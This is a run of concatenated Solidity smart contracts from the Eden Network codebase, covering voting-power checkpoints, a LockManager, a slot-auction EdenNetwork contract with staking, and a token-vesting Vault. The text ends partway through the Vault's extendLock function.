VotingPowerStorage.checkpointStorage(); uint32 nCheckpoints = cs.numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (cs.checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return cs.checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (cs.checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = cs.checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return cs.checkpoints[account][lower].votes; } /** * @notice Internal implementation of stake * @param voter The user that is staking tokens * @param token The token to stake * @param tokenAmount The amount of token to stake * @param votingPower The amount of voting power stake translates into */ function _stake(address voter, address token, uint256 tokenAmount, uint256 votingPower) internal { IERC20(token).safeTransferFrom(voter, address(this), tokenAmount); StakeStorage storage ss = VotingPowerStorage.stakeStorage(); ss.stakes[voter][token].amount = ss.stakes[voter][token].amount + tokenAmount; ss.stakes[voter][token].votingPower = ss.stakes[voter][token].votingPower + votingPower; emit Staked(voter, token, tokenAmount, votingPower); _increaseVotingPower(voter, votingPower); } /** * @notice Internal implementation of withdraw * @param voter The user with tokens staked * @param token The token that is staked * @param tokenAmount The amount of token to withdraw * @param votingPower The amount of voting power stake translates into */ function _withdraw(address voter, address token, uint256 tokenAmount, uint256 votingPower) internal { StakeStorage storage ss = VotingPowerStorage.stakeStorage(); require(ss.stakes[voter][token].amount >= tokenAmount, "VP::_withdraw: not enough tokens staked"); require(ss.stakes[voter][token].votingPower >= votingPower, "VP::_withdraw: not enough voting power"); ss.stakes[voter][token].amount = ss.stakes[voter][token].amount - tokenAmount; ss.stakes[voter][token].votingPower = ss.stakes[voter][token].votingPower - votingPower; IERC20(token).safeTransfer(voter, tokenAmount); emit Withdrawn(voter, token, tokenAmount, votingPower); _decreaseVotingPower(voter, votingPower); } /** * @notice Increase voting power of voter * @param voter The voter whose voting power is increasing * @param amount The amount of voting power to increase by */ function _increaseVotingPower(address voter, uint256 amount) internal { CheckpointStorage storage cs = VotingPowerStorage.checkpointStorage(); uint32 checkpointNum = cs.numCheckpoints[voter]; uint256 votingPowerOld = checkpointNum > 0 ? cs.checkpoints[voter][checkpointNum - 1].votes : 0; uint256 votingPowerNew = votingPowerOld + amount; _writeCheckpoint(voter, checkpointNum, votingPowerOld, votingPowerNew); } /** * @notice Decrease voting power of voter * @param voter The voter whose voting power is decreasing * @param amount The amount of voting power to decrease by */ function _decreaseVotingPower(address voter, uint256 amount) internal { CheckpointStorage storage cs = VotingPowerStorage.checkpointStorage(); uint32 checkpointNum = cs.numCheckpoints[voter]; uint256 votingPowerOld = checkpointNum > 0 ? cs.checkpoints[voter][checkpointNum - 1].votes : 0; uint256 votingPowerNew = votingPowerOld - amount; _writeCheckpoint(voter, checkpointNum, votingPowerOld, votingPowerNew); } /** * @notice Create checkpoint of voting power for voter at current block number * @param voter The voter whose voting power is changing * @param nCheckpoints The current checkpoint number for voter * @param oldVotes The previous voting power of this voter * @param newVotes The new voting power of this voter */ function _writeCheckpoint(address voter, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = _safe32(block.number, "VP::_writeCheckpoint: block number exceeds 32 bits"); CheckpointStorage storage cs = VotingPowerStorage.checkpointStorage(); if (nCheckpoints > 0 && cs.checkpoints[voter][nCheckpoints - 1].fromBlock == blockNumber) { cs.checkpoints[voter][nCheckpoints - 1].votes = newVotes; } else { cs.checkpoints[voter][nCheckpoints] = Checkpoint(blockNumber, newVotes); cs.numCheckpoints[voter] = nCheckpoints + 1; } emit VotingPowerChanged(voter, oldVotes, newVotes); } /** * @notice Converts uint256 to uint32 safely * @param n Number * @param errorMessage Error message to use if number cannot be converted * @return uint32 number */ function _safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IVotingPower.sol"; import "./interfaces/ITokenRegistry.sol"; import "./interfaces/IVotingPowerFormula.sol"; import "./interfaces/ILockManager.sol"; import "./lib/AccessControlEnumerable.sol"; /** * @title LockManager * @dev Manages voting power for stakes that are locked within the Eden ecosystem, but not in the Voting Power prism */ contract LockManager is AccessControlEnumerable, ILockManager { /// @notice Admin role to create voting power from locked stakes bytes32 public constant LOCKER_ROLE = keccak256("LOCKER_ROLE"); // Official record of staked balances for each account > token > locked stake mapping (address => mapping (address => LockedStake)) internal lockedStakes; /// @notice Voting power contract IVotingPower public immutable votingPower; /// @notice modifier to restrict functions to only contracts that have been added as lockers modifier onlyLockers() { require(hasRole(LOCKER_ROLE, msg.sender), "Caller must have LOCKER_ROLE role"); _; } /// @notice An event that's emitted when a user's staked balance increases event StakeLocked(address indexed user, address indexed token, uint256 indexed amount, uint256 votingPower); /// @notice An event that's emitted when a user's staked balance decreases event StakeUnlocked(address indexed user, address indexed token, uint256 indexed amount, uint256 votingPower); /** * @notice Create new LockManager contract * @param _votingPower VotingPower prism contract * @param _roleManager address that is in charge of assigning roles */ constructor(address _votingPower, address _roleManager) { votingPower = IVotingPower(_votingPower); _setupRole(DEFAULT_ADMIN_ROLE, _roleManager); } /** * @notice Get total amount of tokens staked in contract by `staker` * @param staker The user with staked tokens * @param stakedToken The staked token * @return total amount staked */ function getAmountStaked(address staker, address stakedToken) external view override returns (uint256) { return getStake(staker, stakedToken).amount; } /** * @notice Get total staked amount and voting power from `stakedToken` staked in contract by `staker` * @param staker The user with staked tokens * @param stakedToken The staked token * @return total staked */ function getStake(address staker, address stakedToken) public view override returns (LockedStake memory) { return lockedStakes[staker][stakedToken]; } /** * @notice Calculate the voting power that will result from locking `amount` of `token` * @param token token that will be locked * @param amount amount of token that will be locked * @return resulting voting power */ function calculateVotingPower(address token, uint256 amount) public view override returns (uint256) { address registry = votingPower.tokenRegistry(); require(registry != address(0), "LM::calculateVotingPower: registry not set"); address tokenFormulaAddress = ITokenRegistry(registry).tokenFormulas(token); require(tokenFormulaAddress != address(0), "LM::calculateVotingPower: token not supported"); IVotingPowerFormula tokenFormula = IVotingPowerFormula(tokenFormulaAddress); return tokenFormula.convertTokensToVotingPower(amount); } /** * @notice Grant voting power from locked `tokenAmount` of `token` * @param receiver recipient of voting power * @param token token that is locked * @param tokenAmount amount of token that is locked * @return votingPowerGranted amount of voting power granted */ function grantVotingPower( address receiver, address token, uint256 tokenAmount ) external override onlyLockers returns (uint256 votingPowerGranted){ votingPowerGranted = calculateVotingPower(token, tokenAmount); lockedStakes[receiver][token].amount = lockedStakes[receiver][token].amount + tokenAmount; lockedStakes[receiver][token].votingPower = lockedStakes[receiver][token].votingPower + votingPowerGranted; votingPower.addVotingPowerForLockedTokens(receiver, votingPowerGranted); emit StakeLocked(receiver, token, tokenAmount, votingPowerGranted); } /** * @notice Remove voting power by unlocking `tokenAmount` of `token` * @param receiver holder of voting power * @param token token that is being unlocked * @param tokenAmount amount of token that is being unlocked * @return votingPowerRemoved amount of voting power removed */ function removeVotingPower( address receiver, address token, uint256 tokenAmount ) external override onlyLockers returns (uint256 votingPowerRemoved) { require(lockedStakes[receiver][token].amount >= tokenAmount, "LM::removeVotingPower: not enough tokens staked"); LockedStake memory s = getStake(receiver, token); votingPowerRemoved = tokenAmount * s.votingPower / s.amount; lockedStakes[receiver][token].amount = lockedStakes[receiver][token].amount - tokenAmount; lockedStakes[receiver][token].votingPower = lockedStakes[receiver][token].votingPower - votingPowerRemoved; votingPower.removeVotingPowerForUnlockedTokens(receiver, votingPowerRemoved); emit StakeUnlocked(receiver, token, tokenAmount, votingPowerRemoved); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IERC20Extended.sol"; import "./interfaces/ILockManager.sol"; import "./lib/Initializable.sol"; /** * @title EdenNetwork * @dev It is VERY IMPORTANT that modifications to this contract do not change the storage layout of the existing variables. * Be especially careful when importing any external contracts/libraries. * If you do not know what any of this means, BACK AWAY FROM THE CODE NOW!! */ contract EdenNetwork is Initializable { /// @notice Slot bid details struct Bid { address bidder; uint16 taxNumerator; uint16 taxDenominator; uint64 periodStart; uint128 bidAmount; } /// @notice Expiration timestamp of current bid for specified slot index mapping (uint8 => uint64) public slotExpiration; /// @dev Address to be prioritized for given slot mapping (uint8 => address) private _slotDelegate; /// @dev Address that owns a given slot and is able to set the slot delegate mapping (uint8 => address) private _slotOwner; /// @notice Current bid for given slot mapping (uint8 => Bid) public slotBid; /// @notice Staked balance in contract mapping (address => uint128) public stakedBalance; /// @notice Balance in contract that was previously used for bid mapping (address => uint128) public lockedBalance; /// @notice Token used to reserve slot IERC20Extended public token; /// @notice Lock Manager contract ILockManager public lockManager; /// @notice Admin that can set the contract tax rate address public admin; /// @notice Numerator for tax rate uint16 public taxNumerator; /// @notice Denominator for tax rate uint16 public taxDenominator; /// @notice Minimum bid to reserve slot uint128 public MIN_BID; /// @dev Reentrancy var used like bool, but with refunds uint256 private _NOT_ENTERED; /// @dev Reentrancy var used like bool, but with refunds uint256 private _ENTERED; /// @dev Reentrancy status uint256 private _status; /// @notice Only admin can call modifier onlyAdmin() { require(msg.sender == admin, "not admin"); _; } /// @notice Only slot owner can call modifier onlySlotOwner(uint8 slot) { require(msg.sender == slotOwner(slot), "not slot owner"); _; } /// @notice Reentrancy prevention modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /// @notice Event emitted when admin is updated event AdminUpdated(address indexed newAdmin, address indexed oldAdmin); /// @notice Event emitted when the tax rate is updated event TaxRateUpdated(uint16 newNumerator, uint16 newDenominator, uint16 oldNumerator, uint16 oldDenominator); /// @notice Event emitted when slot is claimed event SlotClaimed(uint8 indexed slot, address indexed owner, address indexed delegate, uint128 newBidAmount, uint128 oldBidAmount, uint16 taxNumerator, uint16 taxDenominator); /// @notice Event emitted when slot delegate is updated event SlotDelegateUpdated(uint8 indexed slot, address indexed owner, address indexed newDelegate, address oldDelegate); /// @notice Event emitted when a user stakes tokens event Stake(address indexed staker, uint256 stakeAmount); /// @notice Event emitted when a user unstakes tokens event Unstake(address indexed staker, uint256 unstakedAmount); /// @notice Event emitted when a user withdraws locked tokens event Withdraw(address indexed withdrawer, uint256 withdrawalAmount); /** * @notice Initialize EdenNetwork contract * @param _token Token address * @param _lockManager Lock Manager address * @param _admin Admin address * @param _taxNumerator Numerator for tax rate * @param _taxDenominator Denominator for tax rate */ function initialize( IERC20Extended _token, ILockManager _lockManager, address _admin, uint16 _taxNumerator, uint16 _taxDenominator ) public initializer { token = _token; lockManager = _lockManager; admin = _admin; emit AdminUpdated(_admin, address(0)); taxNumerator = _taxNumerator; taxDenominator = _taxDenominator; emit TaxRateUpdated(_taxNumerator, _taxDenominator, 0, 0); MIN_BID = 10000000000000000; _NOT_ENTERED = 1; _ENTERED = 2; _status = _NOT_ENTERED; } /** * @notice Get current owner of slot * @param slot Slot index * @return Slot owner address */ function slotOwner(uint8 slot) public view returns (address) { if(slotForeclosed(slot)) { return address(0); } return _slotOwner[slot]; } /** * @notice Get current slot delegate * @param slot Slot index * @return Slot delegate address */ function slotDelegate(uint8 slot) public view returns (address) { if(slotForeclosed(slot)) { return address(0); } return _slotDelegate[slot]; } /** * @notice Get current cost to claim slot * @param slot Slot index * @return Slot cost */ function slotCost(uint8 slot) external view returns (uint128) { if(slotForeclosed(slot)) { return MIN_BID; } Bid memory currentBid = slotBid[slot]; return currentBid.bidAmount * 110 / 100; } /** * @notice Claim slot * @param slot Slot index * @param bid Bid amount * @param delegate Delegate for slot */ function claimSlot( uint8 slot, uint128 bid, address delegate ) external nonReentrant { _claimSlot(slot, bid, delegate); } /** * @notice Claim slot using permit for approval * @param slot Slot index * @param bid Bid amount * @param delegate Delegate for slot * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function claimSlotWithPermit( uint8 slot, uint128 bid, address delegate, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external nonReentrant { token.permit(msg.sender, address(this), bid, deadline, v, r, s); _claimSlot(slot, bid, delegate); } /** * @notice Get untaxed balance for current slot bid * @param slot Slot index * @return balance Slot balance */ function slotBalance(uint8 slot) public view returns (uint128 balance) { Bid memory currentBid = slotBid[slot]; if (currentBid.bidAmount == 0 || slotForeclosed(slot)) { return 0; } else if (block.timestamp == currentBid.periodStart) { return currentBid.bidAmount; } else { return uint128(uint256(currentBid.bidAmount) - (uint256(currentBid.bidAmount) * (block.timestamp - currentBid.periodStart) * currentBid.taxNumerator / (uint256(currentBid.taxDenominator) * 86400))); } } /** * @notice Returns true if a given slot bid has expired * @param slot Slot index * @return True if slot is foreclosed */ function slotForeclosed(uint8 slot) public view returns (bool) { if(slotExpiration[slot] <= block.timestamp) { return true; } return false; } /** * @notice Stake tokens * @param amount Amount of tokens to stake */ function stake(uint128 amount) external nonReentrant { _stake(amount); } /** * @notice Stake tokens using permit for approval * @param amount Amount of tokens to stake * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function stakeWithPermit( uint128 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external nonReentrant { token.permit(msg.sender, address(this), amount, deadline, v, r, s); _stake(amount); } /** * @notice Unstake tokens * @param amount Amount of tokens to unstake */ function unstake(uint128 amount) external nonReentrant { require(stakedBalance[msg.sender] >= amount, "amount > unlocked balance"); lockManager.removeVotingPower(msg.sender, address(token), amount); stakedBalance[msg.sender] -= amount; token.transfer(msg.sender, amount); emit Unstake(msg.sender, amount); } /** * @notice Withdraw locked tokens * @param amount Amount of tokens to withdraw */ function withdraw(uint128 amount) external nonReentrant { require(lockedBalance[msg.sender] >= amount, "amount > unlocked balance"); lockedBalance[msg.sender] -= amount; token.transfer(msg.sender, amount); emit Withdraw(msg.sender, amount); } /** * @notice Allows slot owners to set a new slot delegate * @param slot Slot index * @param delegate Delegate address */ function setSlotDelegate(uint8 slot, address delegate) external onlySlotOwner(slot) { require(delegate != address(0), "cannot delegate to 0 address"); emit SlotDelegateUpdated(slot, msg.sender, delegate, slotDelegate(slot)); _slotDelegate[slot] = delegate; } /** * @notice Set new tax rate * @param numerator New tax numerator * @param denominator New tax denominator */ function setTaxRate(uint16 numerator, uint16 denominator) external onlyAdmin { require(denominator > numerator, "denominator must be > numerator"); emit TaxRateUpdated(numerator, denominator, taxNumerator, taxDenominator); taxNumerator = numerator; taxDenominator = denominator; } /** * @notice Set new admin * @param newAdmin Nex admin address */ function setAdmin(address newAdmin) external onlyAdmin { emit AdminUpdated(newAdmin, admin); admin = newAdmin; } /** * @notice Internal implementation of claimSlot * @param slot Slot index * @param bid Bid amount * @param delegate Delegate address */ function _claimSlot(uint8 slot, uint128 bid, address delegate) internal { require(delegate != address(0), "cannot delegate to 0 address"); Bid storage currentBid = slotBid[slot]; uint128 existingBidAmount = currentBid.bidAmount; uint128 existingSlotBalance = slotBalance(slot); uint128 taxedBalance = existingBidAmount - existingSlotBalance; require((existingSlotBalance == 0 && bid >= MIN_BID) || bid >= existingBidAmount * 110 / 100, "bid too small"); uint128 bidderLockedBalance = lockedBalance[msg.sender]; uint128 bidIncrement = currentBid.bidder == msg.sender ? bid - existingSlotBalance : bid; if (bidderLockedBalance > 0) { if (bidderLockedBalance >= bidIncrement) { lockedBalance[msg.sender] -= bidIncrement; } else { lockedBalance[msg.sender] = 0; token.transferFrom(msg.sender, address(this), bidIncrement - bidderLockedBalance); } } else { token.transferFrom(msg.sender, address(this), bidIncrement); } if (currentBid.bidder != msg.sender) { lockedBalance[currentBid.bidder] += existingSlotBalance; } if (taxedBalance > 0) { token.burn(taxedBalance); } _slotOwner[slot] = msg.sender; _slotDelegate[slot] = delegate; currentBid.bidder = msg.sender; currentBid.periodStart = uint64(block.timestamp); currentBid.bidAmount = bid; currentBid.taxNumerator = taxNumerator; currentBid.taxDenominator = taxDenominator; slotExpiration[slot] = uint64(block.timestamp + uint256(taxDenominator) * 86400 / uint256(taxNumerator)); emit SlotClaimed(slot, msg.sender, delegate, bid, existingBidAmount, taxNumerator, taxDenominator); } /** * @notice Internal implementation of stake * @param amount Amount of tokens to stake */ function _stake(uint128 amount) internal { token.transferFrom(msg.sender, address(this), amount); lockManager.grantVotingPower(msg.sender, address(token), amount); stakedBalance[msg.sender] += amount; emit Stake(msg.sender, amount); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IERC20Permit.sol"; import "./interfaces/ILockManager.sol"; import "./lib/SafeERC20.sol"; /** * @title Vault * @dev Contract for locking up tokens for set periods of time * + optionally providing locked tokens with voting power */ contract Vault { using SafeERC20 for IERC20Permit; /// @notice lockManager contract ILockManager public immutable lockManager; /// @notice Lock definition struct Lock { address token; address receiver; uint48 startTime; uint16 vestingDurationInDays; uint16 cliffDurationInDays; uint256 amount; uint256 amountClaimed; uint256 votingPower; } /// @notice Lock balance definition struct LockBalance { uint256 id; uint256 claimableAmount; Lock lock; } /// @notice Token balance definition struct TokenBalance { uint256 totalAmount; uint256 claimableAmount; uint256 claimedAmount; uint256 votingPower; } /// @dev Used to translate lock periods specified in days to seconds uint256 constant internal SECONDS_PER_DAY = 86400; /// @notice Mapping of lock id > token locks mapping (uint256 => Lock) public tokenLocks; /// @notice Mapping of address to lock id mapping (address => uint256[]) public lockIds; /// @notice Number of locks uint256 public numLocks; /// @notice Event emitted when a new lock is created event LockCreated(address indexed token, address indexed locker, address indexed receiver, uint256 lockId, uint256 amount, uint48 startTime, uint16 durationInDays, uint16 cliffInDays, uint256 votingPower); /// @notice Event emitted when tokens are claimed by a receiver from an unlocked balance event UnlockedTokensClaimed(address indexed receiver, address indexed token, uint256 indexed lockId, uint256 amountClaimed, uint256 votingPowerRemoved); /// @notice Event emitted when lock duration extended event LockExtended(uint256 indexed lockId, uint16 indexed oldDuration, uint16 indexed newDuration, uint16 oldCliff, uint16 newCliff, uint48 startTime); /** * @notice Create a new Vault contract * @param _lockManager LockManager contract address */ constructor(address _lockManager) { lockManager = ILockManager(_lockManager); } /** * @notice Lock tokens, optionally providing voting power * @param locker The account that is locking tokens * @param receiver The account that will be able to retrieve unlocked tokens * @param startTime The unix timestamp when the lock period will start * @param amount The amount of tokens being locked * @param vestingDurationInDays The vesting period in days * @param cliffDurationInDays The cliff duration in days * @param grantVotingPower if true, give user voting power from tokens */ function lockTokens( address token, address locker, address receiver, uint48 startTime, uint256 amount, uint16 vestingDurationInDays, uint16 cliffDurationInDays, bool grantVotingPower ) external { require(vestingDurationInDays > 0, "Vault::lockTokens: vesting duration must be > 0"); require(vestingDurationInDays <= 25*365, "Vault::lockTokens: vesting duration more than 25 years"); require(vestingDurationInDays >= cliffDurationInDays, "Vault::lockTokens: vesting duration < cliff"); require(amount > 0, "Vault::lockTokens: amount not > 0"); _lockTokens(token, locker, receiver, startTime, amount, vestingDurationInDays, cliffDurationInDays, grantVotingPower); } /** * @notice Lock tokens, using permit for approval * @dev It is up to the frontend developer to ensure the token implements permit - otherwise this will fail * @param token Address of token to lock * @param locker The account that is locking tokens * @param receiver The account that will be able to retrieve unlocked tokens * @param startTime The unix timestamp when the lock period will start * @param amount The amount of tokens being locked * @param vestingDurationInDays The lock period in days * @param cliffDurationInDays The lock cliff duration in days * @param grantVotingPower if true, give user voting power from tokens * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function lockTokensWithPermit( address token, address locker, address receiver, uint48 startTime, uint256 amount, uint16 vestingDurationInDays, uint16 cliffDurationInDays, bool grantVotingPower, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(vestingDurationInDays > 0, "Vault::lockTokensWithPermit: vesting duration must be > 0"); require(vestingDurationInDays <= 25*365, "Vault::lockTokensWithPermit: vesting duration more than 25 years"); require(vestingDurationInDays >= cliffDurationInDays, "Vault::lockTokensWithPermit: duration < cliff"); require(amount > 0, "Vault::lockTokensWithPermit: amount not > 0"); // Set approval using permit signature IERC20Permit(token).permit(locker, address(this), amount, deadline, v, r, s); _lockTokens(token, locker, receiver, startTime, amount, vestingDurationInDays, cliffDurationInDays, grantVotingPower); } /** * @notice Get all active token lock ids * @return the lock ids */ function allActiveLockIds() external view returns(uint256[] memory){ uint256 activeCount; // Get number of active locks for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` uint256[] memory result = new uint256[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { result[j] = i; j++; } } return result; } /** * @notice Get all active token locks * @return the locks */ function allActiveLocks() external view returns(Lock[] memory){ uint256 activeCount; // Get number of active locks for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` Lock[] memory result = new Lock[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { result[j] = lock; j++; } } return result; } /** * @notice Get all active token lock balances * @return the active lock balances */ function allActiveLockBalances() external view returns(LockBalance[] memory){ uint256 activeCount; // Get number of active locks for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` LockBalance[] memory result = new LockBalance[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numLocks; i++) { Lock memory lock = tokenLocks[i]; if(lock.amount != lock.amountClaimed) { result[j] = lockBalance(i); j++; } } return result; } /** * @notice Get all active token lock ids for receiver * @param receiver The address that has locked balances * @return the active lock ids */ function activeLockIds(address receiver) external view returns(uint256[] memory){ uint256 activeCount; uint256[] memory receiverLockIds = lockIds[receiver]; // Get number of active locks for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` uint256[] memory result = new uint256[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { result[j] = receiverLockIds[i]; j++; } } return result; } /** * @notice Get all token locks for receiver * @param receiver The address that has locked balances * @return the locks */ function allLocks(address receiver) external view returns(Lock[] memory){ uint256[] memory allLockIds = lockIds[receiver]; Lock[] memory result = new Lock[](allLockIds.length); for (uint256 i; i < allLockIds.length; i++) { result[i] = tokenLocks[allLockIds[i]]; } return result; } /** * @notice Get all active token locks for receiver * @param receiver The address that has locked balances * @return the locks */ function activeLocks(address receiver) external view returns(Lock[] memory){ uint256 activeCount; uint256[] memory receiverLockIds = lockIds[receiver]; // Get number of active locks for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` Lock[] memory result = new Lock[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { result[j] = tokenLocks[receiverLockIds[i]]; j++; } } return result; } /** * @notice Get all active token lock balances for receiver * @param receiver The address that has locked balances * @return the active lock balances */ function activeLockBalances(address receiver) external view returns(LockBalance[] memory){ uint256 activeCount; uint256[] memory receiverLockIds = lockIds[receiver]; // Get number of active locks for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { activeCount++; } } // Create result array of length `activeCount` LockBalance[] memory result = new LockBalance[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverLockIds.length; i++) { Lock memory lock = tokenLocks[receiverLockIds[i]]; if(lock.amount != lock.amountClaimed) { result[j] = lockBalance(receiverLockIds[i]); j++; } } return result; } /** * @notice Get total token balance * @param token The token to check * @return balance the total active balance of `token` */ function totalTokenBalance(address token) external view returns(TokenBalance memory balance){ for (uint256 i; i < numLocks; i++) { Lock memory tokenLock = tokenLocks[i]; if(tokenLock.token == token && tokenLock.amount != tokenLock.amountClaimed){ balance.totalAmount = balance.totalAmount + tokenLock.amount; balance.votingPower = balance.votingPower + tokenLock.votingPower; if(block.timestamp > tokenLock.startTime) { balance.claimedAmount = balance.claimedAmount + tokenLock.amountClaimed; uint256 elapsedTime = block.timestamp - tokenLock.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if ( elapsedDays >= tokenLock.cliffDurationInDays ) { if (elapsedDays >= tokenLock.vestingDurationInDays) { balance.claimableAmount = balance.claimableAmount + tokenLock.amount - tokenLock.amountClaimed; } else { uint256 vestingDurationInSecs = uint256(tokenLock.vestingDurationInDays) * SECONDS_PER_DAY; uint256 vestingAmountPerSec = tokenLock.amount / vestingDurationInSecs; uint256 amountVested = vestingAmountPerSec * elapsedTime; balance.claimableAmount = balance.claimableAmount + amountVested - tokenLock.amountClaimed; } } } } } } /** * @notice Get token balance of receiver * @param token The token to check * @param receiver The address that has unlocked balances * @return balance the total active balance of `token` for `receiver` */ function tokenBalance(address token, address receiver) external view returns(TokenBalance memory balance){ uint256[] memory receiverLockIds = lockIds[receiver]; for (uint256 i; i < receiverLockIds.length; i++) { Lock memory receiverLock = tokenLocks[receiverLockIds[i]]; if(receiverLock.token == token && receiverLock.amount != receiverLock.amountClaimed){ balance.totalAmount = balance.totalAmount + receiverLock.amount; balance.votingPower = balance.votingPower + receiverLock.votingPower; if(block.timestamp > receiverLock.startTime) { balance.claimedAmount = balance.claimedAmount + receiverLock.amountClaimed; uint256 elapsedTime = block.timestamp - receiverLock.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if ( elapsedDays >= receiverLock.cliffDurationInDays ) { if (elapsedDays >= receiverLock.vestingDurationInDays) { balance.claimableAmount = balance.claimableAmount + receiverLock.amount - receiverLock.amountClaimed; } else { uint256 vestingDurationInSecs = uint256(receiverLock.vestingDurationInDays) * SECONDS_PER_DAY; uint256 vestingAmountPerSec = receiverLock.amount / vestingDurationInSecs; uint256 amountVested = vestingAmountPerSec * elapsedTime; balance.claimableAmount = balance.claimableAmount + amountVested - receiverLock.amountClaimed; } } } } } } /** * @notice Get lock balance for a given lock id * @param lockId The lock ID * @return balance the lock balance */ function lockBalance(uint256 lockId) public view returns (LockBalance memory balance) { balance.id = lockId; balance.claimableAmount = claimableBalance(lockId); balance.lock = tokenLocks[lockId]; } /** * @notice Get claimable balance for a given lock id * @dev Returns 0 if cliff duration has not ended * @param lockId The lock ID * @return The amount that can be claimed */ function claimableBalance(uint256 lockId) public view returns (uint256) { Lock storage lock = tokenLocks[lockId]; // For locks created with a future start date, that hasn't been reached, return 0 if (block.timestamp < lock.startTime) { return 0; } uint256 elapsedTime = block.timestamp - lock.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if (elapsedDays < lock.cliffDurationInDays) { return 0; } if (elapsedDays >= lock.vestingDurationInDays) { return lock.amount - lock.amountClaimed; } else { uint256 vestingDurationInSecs = uint256(lock.vestingDurationInDays) * SECONDS_PER_DAY; uint256 vestingAmountPerSec = lock.amount / vestingDurationInSecs; uint256 amountVested = vestingAmountPerSec * elapsedTime; return amountVested - lock.amountClaimed; } } /** * @notice Allows receiver to claim all of their unlocked tokens for a set of locks * @dev Errors if no tokens are claimable * @dev It is advised receivers check they are entitled to claim via `claimableBalance` before calling this * @param locks The lock ids for unlocked token balances */ function claimAllUnlockedTokens(uint256[] memory locks) external { for (uint i = 0; i < locks.length; i++) { uint256 claimableAmount = claimableBalance(locks[i]); require(claimableAmount > 0, "Vault::claimAllUnlockedTokens: claimableAmount is 0"); _claimTokens(locks[i], claimableAmount); } } /** * @notice Allows receiver to claim a portion of their unlocked tokens for a given lock * @dev Errors if token amounts provided are > claimable amounts * @dev It is advised receivers check they are entitled to claim via `claimableBalance` before calling this * @param locks The lock ids for unlocked token balances * @param amounts The amount of each unlocked token to claim */ function claimUnlockedTokenAmounts(uint256[] memory locks, uint256[] memory amounts) external { require(locks.length == amounts.length, "Vault::claimUnlockedTokenAmounts: arrays must be same length"); for (uint i = 0; i < locks.length; i++) { uint256 claimableAmount = claimableBalance(locks[i]); require(claimableAmount >= amounts[i], "Vault::claimUnlockedTokenAmounts: claimableAmount < amount"); _claimTokens(locks[i], amounts[i]); } } /** * @notice Allows receiver extend lock periods for a given lock * @param lockId The lock id for a locked token balance * @param vestingDaysToAdd The number of days to add to vesting duration * @param cliffDaysToAdd The number of days to add to cliff duration */ function extendLock(uint256 lockId, uint16 vestingDaysToAdd, uint16 cliffDaysToAdd) external { Lock storage lock = tokenLocks[lockId]; require(msg.sender == lock.receiver, "Vault::extendLock: msg.sender must be receiver"); uint16 oldVestingDuration = lock.vestingDurationInDays; uint16 newVestingDuration = _add16(oldVestingDuration, vestingDaysToAdd, "Vault::extendLock: vesting max days exceeded"); uint16 oldCliffDuration = lock.cliffDurationInDays; uint16 newCliffDuration = _add16(oldCliffDuration, cliffDaysToAdd, "Vault::extendLock: cliff max days exceeded"); require(newCliffDuration <= 10*365, "Vault::extendLock: cliff more than 10 years"); require(newVestingDuration <= 25*365, "Vault::extendLock: vesting duration more than 25 years"); 